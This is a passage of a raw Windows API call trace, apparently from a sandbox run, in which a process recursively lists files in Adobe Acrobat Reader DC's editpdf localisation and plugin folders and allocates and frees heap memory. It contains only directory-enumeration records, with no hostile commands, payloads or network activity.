lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.530] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.530] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.530] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.530] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.531] GetProcessHeap () returned 0xc10000 [0252.531] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.531] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0252.531] GetProcessHeap () returned 0xc10000 [0252.531] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.531] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.532] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.532] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.532] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.532] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.532] GetProcessHeap () returned 0xc10000 [0252.532] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.532] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.532] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0252.532] GetProcessHeap () returned 0xc10000 [0252.532] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.533] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.533] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x597, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.533] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x597, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.533] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.534] GetProcessHeap () returned 0xc10000 [0252.534] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.534] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0252.534] GetProcessHeap () returned 0xc10000 [0252.534] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.534] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.534] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.534] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.535] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.535] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.535] GetProcessHeap () returned 0xc10000 [0252.535] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.535] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0252.535] GetProcessHeap () returned 0xc10000 [0252.535] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.536] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.536] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0252.537] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0252.537] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.537] GetProcessHeap () returned 0xc10000 [0252.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.537] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0252.537] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.537] GetProcessHeap () returned 0xc10000 [0252.537] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0252.537] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0252.537] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0252.537] GetProcessHeap () returned 0xc10000 [0252.537] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0252.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0252.538] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.538] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xded, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf-selector.js", cAlternateFileName="EDITPD~2.JS")) returned 1 [0252.538] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf-tool-view.js", cAlternateFileName="EDITPD~1.JS")) returned 1 [0252.539] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0252.539] GetProcessHeap () returned 0xc10000 [0252.539] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0252.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\editpdf\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0252.539] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.539] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xdf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf-selector.js", cAlternateFileName="EDITPD~2.JS")) returned 1 [0252.539] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x25ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf-tool-view.js", cAlternateFileName="EDITPD~1.JS")) returned 1 [0252.539] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x25ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="editpdf-tool-view.js", cAlternateFileName="EDITPD~1.JS")) returned 0 [0252.539] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0252.540] GetProcessHeap () returned 0xc10000 [0252.540] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0252.540] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0252.540] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0252.540] GetProcessHeap () returned 0xc10000 [0252.540] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0252.540] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24df500, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24df500, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0252.540] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0252.540] GetProcessHeap () returned 0xc10000 [0252.540] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0252.541] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: 